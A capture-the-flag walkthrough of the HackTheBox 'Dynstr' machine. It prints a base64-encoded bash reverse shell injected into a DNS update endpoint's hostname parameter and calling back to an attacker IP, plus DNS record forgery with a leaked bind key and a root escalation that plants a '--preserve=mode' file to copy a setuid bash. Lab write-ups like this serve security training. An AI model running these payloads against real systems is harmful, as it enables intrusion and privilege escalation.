Link: https://app.hackthebox.eu/machines/dynstr

Enumeration

nmap – tcp port scan

nmap syn scan with version detection

We have SSH, DNS BIND and a web server open on TCP ports.

Web Server Part 1

Navigating to the IP takes us to a webpage for DYNA DNS. We also have a list of domain names as well as some shared credentials:

services

And finally at the bottom we see an email for [email protected] so I will also set that in the hosts file:

10.129.204.29 dnsalias.htb dynamicdns.htb no-ip.htb no-ip.com dyna.htb

DNS Enumeration

I attempted to use tools such as dnsenum, dnsrecon, nslookup on all the above domains all of them replied they could dont find the server or NXDOMAIN record.

dig results

Using dig, I got two different results from using the hosts file. I get an A record for no-ip.com which is different from the SOA record for all the other domains which I found kind of odd. Navigating to any of the domains in the browser just takes us to the same webpage.

nmap scripts

Finally I ran the suite of scripts from nmap and also did not get many good results.

nmap – udp port scan

While I was attempting DNS enumeration, I also ran a UDP scan:

udp port scan

We have several ports that show up as open/filtered.

SSH

I attempted to connect with the dynadns:sndanyd to all of the aliases I put in the host file, but all of them failed.

Web Server – Part 2

I circled back to the web server to run a gobuster scan and see if we can find anything else.

A gobuster scan reveals we have an /assets directory and a page named /nic that has a 301 redirect to /nic/, which is blank. I checked the /nic/ on all the domains but it remained blank. The /assets/ directory does not have directory indexing on so I cannot see anything inside.

I did run another gobuster scan on the /nic/ folder to see if we could find any .conf, .txt or .ini files, I got no hits on that, but did find another directory: /nic/update. Attempting to navigate here nets us a badauth.

I fired up postman and chose basic authentication. Supplying those credentials and submitting and we get a different response! nochg 10.10.xx.xx. It is a nochg command followed by my IP.

I do some searching on nochg and get a forum post that matches the /nic/update method. Although we cannot pass credentials via GET, we must use the Basic auth.

I did some more searching and found no-ip.com is actually a real DNS service, so I removed it from my hosts file. I found a full detail of the /nic/update method and what parameters we can send. We can also see the various responses, like nochg as well.

I re-read the main page, and it mentions that they use a clone of the no-ip.com API. Let’s see if we can maybe find any vulnerabilites or exploits.

I found CVE-2008-5297: A buffer overflow in No-IP DUC 2.1.7 and earlier allows remote HTTP servers to execute arbitrary code via a crafted response to a DNS update request, related to a missing length check in the GetNextLine function.

I was able to set a subdomain to point at my IP:

set dynamic dns to me

So it seems to take a parameter of hostname, I wonder if we can send anything like a reverse shell to it.

If we base64 encode a payload and send it before the hostname, it does seem to execute!

$ echo "bash -i &>/dev/tcp/10.10.x.x/4444 <&1" | base64                                                                                                                     YmFzaCAtaSAmPi9kZXYvdGNwLzEw...jE0LjEzOC80NDQ0IDwmMQo=

Then we make the URL

http://dyna.htb/nic/update?hostname=`echo+"YmFzaCAtaSAmPi9kZXYvdGNwLzEw...jE0LjEzOC80NDQ0IDwmMQo="+|+base64+-d|+bash`beta.no-ip.htb

And our nc listener lights up as www-data

Machine Access

We can read out the /nic/update file to see what it does:

It is a PHP script that checks for the AUTH and then accepts a hostname and directly pipes that out using a system command.

We have two users on here as well bindmgr and dyna. The user flag is in bindmgr‘s home directory, but we cannot access it as www-data.

We do have a support case directory here that we do have access to though:

The command-output mentions SSH keys inside of /.ssh. We do actually have read access to the public key! But not the private key.

Looking at the strace file, there is actually the private key stored in the trace! We need to remove the \n characters.

Attempting to use this key still fails and it asks for a password. As www-data I looked into the /etc/ssh/sshd_config file and saw UseDNS was set to yes. Perhaps we need to have our own DNS record on the dyna.htb so we can access the server?

Looking back at the PHP file we found earlier, we can see the nsupdate command and a key file in /etc/bind. We have read access to this directory. Reading the conf files shows this is for a bind9 ddns server. We also have a few keys in here as well.

I started looking more into DNS, and it looks like maybe we could setup a DNS record back to our attacking machine IP in order to make our box look like a safe / trusted machine. Using the ddns.key like the script was doing fails. We can use the infra.key, but it seems we have to add infra to the domain name as well otherwise it will still refuse our SSH key. Not quite sure why.

www-data@dynstr:/etc/bind$ nsupdate -k /etc/bind/infra.key
nsupdate -k /etc/bind/infra.key
update add blog.infra.dyna.htb 86400 A 10.10.x.x

update add x.x.10.10.in-addr.arpa 86400 PTR blog.infra.dyna.htb
send
quit

Now let’s try using the ssh key again and our access is granted!

PrivEsc to Root

As bindmgr, we can grab the user.txt. My first step of enumeration from here is sudo -l and we do have a script that we can run as SUDO with NOPASSWD:

bindmgr@dynstr:~$ sudo -l
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
Matching Defaults entries for bindmgr on dynstr:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bindmgr may run the following commands on dynstr:
    (ALL) NOPASSWD: /usr/local/bin/bindmgr.sh

Taking a look at this file, we only have read perms on it and it is owned by root

-rwxr-xr-x  1 root root 2184 Mar 15 20:28 bindmgr.sh

Here is the source of the script:

!/usr/bin/bash

# This script generates named.conf.bindmgr to workaround the problem
# that bind/named can only include single files but no directories.
#
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.
#
# NOTE: The script is work in progress. For now bind is not including
#       named.conf.bindmgr. 
#
# TODO: Currently the script is only adding files to the directory but
#       not deleting them. As we generate the list of files to be included
#       from the source directory they won't be included anyway.

BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr

indent() { sed 's/^/    /'; }

# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 43
fi

# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
    printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done

# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/

# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration."
named-checkconf $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
    echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
    named-checkconf $BINDMGR_CONF 2>&1 | indent
    exit 44
else 
    echo "[+] Configuration successfully staged."
    # *** TODO *** Uncomment restart once we are live.
    # systemctl restart bind9
    if [[ $? -ne 0 ]] ; then
        echo "[-] Restart of bind9 via systemctl failed. Please check logfile: "
        systemctl status bind9
    else
        echo "[+] Restart of bind9 via systemctl succeeded."
    fi
fi

It appears that this script will generate a new configuration file for the bind9 service that we exploited earlier to get this account.

If we execute the script it fails stating to Check versioning.

The first thing the script does is check for a .version file with 2 inside of /etc/bind. Right now, there is no file with that name here. We need to be able to create / copy files so I am back in our home directory. Next we need to make our .version

echo "2" > ".version"

Next, once it passes the check, it will copy .version and any other file in our directory to /etc/bind. We can copy /bin/bash here so it copies it. We need to set the sticky, and we can include a --preserve=mode in our directory which cp will use to ensure the /bin/bash keeps elevated perms.

cp /bin/bash .
chmod +s bash
echo > --preserve=mode
sudo /usr/local/bin/bindmgr.sh

It copies the files from our home directory over to the /etc/bind/named.bindmgr directory. It then fails on checking the configuration, which doesn’t matter to us. Now we just need to access the bash with -p to preserve our perms:

bindmgr@dynstr:~$ /etc/bind/named.bindmgr/bash -p
bash-5.0# whoami
root

Now let’s get the flag!

Cleanup

In a real life scenario, we would need to clean out our /home directory of the files (or probably use another directory like /tmp and purge it). We would also need to remove our DNS records:

nsupdate -k /etc/bind/infra.key
update delete blog.infra.dyna.htb 

update delete x.x.10.10.in-addr.arpa 
send
quit

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.